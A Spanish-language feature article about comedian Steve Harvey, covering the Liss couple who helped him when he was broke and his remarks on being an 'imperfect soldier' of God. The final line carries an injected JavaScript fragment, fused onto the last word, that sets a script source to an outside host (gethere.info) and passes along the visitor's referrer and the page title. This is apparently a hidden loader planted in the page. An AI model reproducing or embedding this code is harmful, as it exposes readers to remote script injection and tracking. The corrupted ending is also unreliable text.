Los ángeles custodios del “soldado imperfecto de Dios”

Yo no soy un cristiano perfecto, pero mi vida ha llegado hasta este punto

Por: Juan Antonio Ruiz

Cualquiera que conozca un poco el mundo de la comedia americana sabrá que Steve Harvey ocupa un lugar preeminente en ese campo. Nacido en Welch (Virginia del Oeste), pasó por diversos trabajos antes de adentrarse en el mundo del espectáculo. Boxeador, vendedor de seguros, limpiador de alfombras y cartero fueron algunas de sus profesiones. Pero todo eso cambió el 8 de octubre de 1985, día en que Steve hizo su primer monólogo en Cleveland (Ohio). Desde entonces, y sobre todo tras su aparición en el programa Me and the Boys en 1994, Steve se lanzó al estrellato.

Monólogos, apariciones televisivas, programas de radio, roles en películas y anfitrión de Family Feud: pasos de una carrera que le ha permitido alcanzar gran renombre en el mundo de la farándula. Pero no siempre fue fácil. A los 26 años, por ejemplo, cuando estaba en Cleveland con su pequeñísima empresa de limpieza de alfombras y soñaba con ser comediante un día, estaba desamparado y quebrado. Y entonces aparecieron sus ángeles custodios: Rick y Becky Liss. Así lo cuenta el mismo Steve cuando, el día de su cumpleaños 54, los productores del programa le dieron la sorpresa del reencuentro después de muchos años:

“Tenía 26 años y luchaba por salir adelante. No tenía nada y esta gente tenía una tienda de muebles en Cleveland. Me acogieron y me dieron un contrato para mi pequeña compañía de alfombras. Y cuando con 27 años me convertí en comediante, no tenía dinero para viajar. Ellos, entonces, me regalaron una cuenta de su agencia de viajes y yo les pasé la factura de 11,000 dólares: mi intento por salir adelante. Y ellos no dudaron en ayudarme”.

Steve siempre se ha considerado cristiano y así lo ha manifestado públicamente. Incluso de manera algo polémica, como cuando dijo en el show de Tyra Banks que una chica no debe salir con alguien que se dice ateo, «porque ¿cuál es su barómetro moral? ¿En dónde está? En ningún lugar”.

Al mismo tiempo, él sabe que no es un ejemplo a seguir en cuanto a la vivencia de su fe. Lo demuestran sus tres matrimonios, el último de los cuales lo ha unido a Marjorie Bridges que, en palabras de Steve, es la responsable de “hacer de mí un mejor hombre y cambiar mi vida”. Sea lo que sea, sabe que le debe a Dios todo lo que es. Memorables fueron las palabras en su último monólogo en público, cuando dio un último saludo a sus fans, en medio de lágrimas de emoción. Al final, lanzó estas significativas palabras:

“Veintisiete años es mucho tiempo para hacer algo que amas hacer. El obispo T.D. Jakes [pastor de la Potter Church] me dijo una vez cuando estuve en Minnesota: ‘Odiaría morir y no hacer aquello para lo que fui hecho al nacer’. Dios, a mí, me lo concedió. Yo no soy un cristiano perfecto, pero mi vida ha llegado hasta este punto. Alguien me tuiteó un día diciéndome: ‘Tu carrera es aquello por lo que te pagan. El modo como la vives es aquello para lo que fuiste hecho’. Dios me ha puesto aquí, como soy y para decir las cosas que digo y como las digo. Soy un testigo viviente de que puedes ser un soldado imperfecto y aún así estar en el ejército luchando por Dios todopoderoso”.

Un soldado que ha salido adelante gracias al amor desinteresado de los ángeles custodios Liss, que un día vieron a un joven necesitado y no dudaron en ayudarle.s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;